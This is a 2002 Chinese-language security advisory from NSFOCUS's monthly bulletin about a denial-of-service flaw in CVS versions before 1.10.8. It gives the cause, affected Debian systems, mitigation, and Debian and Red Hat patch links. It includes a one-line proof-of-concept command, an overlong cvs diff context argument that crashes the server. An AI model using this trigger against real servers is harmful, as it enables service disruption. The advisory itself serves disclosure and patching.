首页 -> 安全研究
安全研究
绿盟月刊
绿盟安全月刊->第29期->最新漏洞
日期:2002-03-18
更新日期: 2002-3-8
受影响的系统:
CVS CVS 1.10.7
- Debian Linux 2.2 powerpc
- Debian Linux 2.2 arm
- Debian Linux 2.2 sparc
- Debian Linux 2.2 68k
- Debian Linux 2.2 IA-32
- Debian Linux 2.2 alpha
不受影响系统:
CVS CVS 1.11.1p1
CVS CVS 1.10.8
描述:
--------------------------------------------------------------------------
BUGTRAQ ID: 4234
CVE(CAN) ID: CAN-2002-0092
CVS Server是一个开放源码的,免费的软件,用于对源程序进行版本管理和发布,它可运行于Windows,Unix/Linux类操作系统下。
CVS 1.10.8以前的版本在处理环境变量时存在问题,远程攻击者可能利用此漏洞对CVS服务器实施拒绝服务攻击。
CVS存在一个编程错误,它没有正确地初始化一个全局环境变量。一个全局的jmp_buf变量没有被setjmp()初始化,因而其内容全是零,当程序代码调用longjmp()使用此jmp_buf时就会发生内存访问错误,从而导致服务器程序产生非预期的反应或使之崩溃。
<*来源:Kim Nielsen (kn@insecurity.dk)
链接:http://marc.theaimsgroup.com/?l=vuln-dev&m=101433077724524&w=2
http://marc.theaimsgroup.com/?l=vuln-dev&m=101422243817321&w=2
http://www.debian.org/security/2002/dsa-117
https://www.redhat.com/support/errata/RHSA-2002-026.html
*>
测试程序:
--------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Kim Nielsen (kn@insecurity.dk)提供了如下测试方法:
cvs diff -C`perl -e "print 'a' x 300"` tables.sql
Index: tables.sql
===================================================================
RCS file: /opt/CVSROOT/procedit/sql/tables.sql,v
retrieving revision 1.1
diff -u -3 -p
-Caaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-r1.1 tables.sql cvs diff: context length \
specified twice Segmentation fault (core dumped)
--------------------------------------------------------------------------------
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 对CVS服务端口进行访问控制,确信只有合法用户能够访问。
厂商补丁:
Debian
------
Debian已经为此发布了一个安全公告(DSA-117-1)以及相应补丁:
DSA-117-1:New CVS packages fix potential security problems
链接:http://www.debian.org/security/2002/dsa-117
补丁下载:
Source archives:
http://security.debian.org/dists/stable/updates/main/source/cvs_1.10.7-9.dsc
http://security.debian.org/dists/stable/updates/main/source/cvs_1.10.7-9.diff.gz
http://security.debian.org/dists/stable/updates/main/source/cvs_1.10.7.orig.tar.gz
Architecture independent components:
http://security.debian.org/dists/stable/updates/main/binary-all/cvs-doc_1.10.7-9_all.deb
Alpha architecture:
http://security.debian.org/dists/stable/updates/main/binary-alpha/cvs_1.10.7-9_alpha.deb
ARM architecture:
http://security.debian.org/dists/stable/updates/main/binary-arm/cvs_1.10.7-9_arm.deb
Intel ia32 architecture:
http://security.debian.org/dists/stable/updates/main/binary-i386/cvs_1.10.7-9_i386.deb
Motorola 680x0 architecture:
http://security.debian.org/dists/stable/updates/main/binary-m68k/cvs_1.10.7-9_m68k.deb
PowerPC architecture:
http://security.debian.org/dists/stable/updates/main/binary-powerpc/cvs_1.10.7-9_powerpc.deb
Sun Sparc architecture:
http://security.debian.org/dists/stable/updates/main/binary-sparc/cvs_1.10.7-9_sparc.deb
补丁安装方法:
1. 手工安装补丁包:
首先,使用下面的命令来下载补丁软件:
# wget url (url是补丁下载链接地址)
然后,使用下面的命令来安装补丁:
# dpkg -i file.deb (file是相应的补丁名)
2. 使用apt-get自动安装补丁包:
首先,使用下面的命令更新内部数据库:
# apt-get update
然后,使用下面的命令安装更新软件包:
# apt-get upgrade
RedHat
------
RedHat已经为此发布了一个安全公告(RHSA-2002:026-35)以及相应补丁:
RHSA-2002:026-35:Vulnerability in zlib library
链接:https://www.redhat.com/support/errata/RHSA-2002-026.html
补丁下载:
Red Hat Linux 6.2:
SRPMS:
ftp://updates.redhat.com/6.2/en/os/SRPMS/cvs-1.11.1p1-6.2.src.rpm
alpha:
ftp://updates.redhat.com/6.2/en/os/alpha/cvs-1.11.1p1-6.2.alpha.rpm
i386:
ftp://updates.redhat.com/6.2/en/os/i386/cvs-1.11.1p1-6.2.i386.rpm
sparc:
ftp://updates.redhat.com/6.2/en/os/sparc/cvs-1.11.1p1-6.2.sparc.rpm
Red Hat Linux 7.0:
SRPMS:
ftp://updates.redhat.com/7.0/en/os/SRPMS/cvs-1.11.1p1-7.src.rpm
alpha:
ftp://updates.redhat.com/7.0/en/os/alpha/cvs-1.11.1p1-7.alpha.rpm
i386:
ftp://updates.redhat.com/7.0/en/os/i386/cvs-1.11.1p1-7.i386.rpm
Red Hat Linux 7.1:
SRPMS:
ftp://updates.redhat.com/7.1/en/os/SRPMS/cvs-1.11.1p1-7.src.rpm
alpha:
ftp://updates.redhat.com/7.1/en/os/alpha/cvs-1.11.1p1-7.alpha.rpm
i386:
ftp://updates.redhat.com/7.1/en/os/i386/cvs-1.11.1p1-7.i386.rpm
ia64:
ftp://updates.redhat.com/7.1/en/os/ia64/cvs-1.11.1p1-7.ia64.rpm
Red Hat Linux 7.2:
SRPMS:
ftp://updates.redhat.com/7.2/en/os/SRPMS/cvs-1.11.1p1-7.src.rpm
i386:
ftp://updates.redhat.com/7.2/en/os/i386/cvs-1.11.1p1-7.i386.rpm
ia64:
ftp://updates.redhat.com/7.2/en/os/ia64/cvs-1.11.1p1-7.ia64.rpm
版权所有,未经许可,不得转载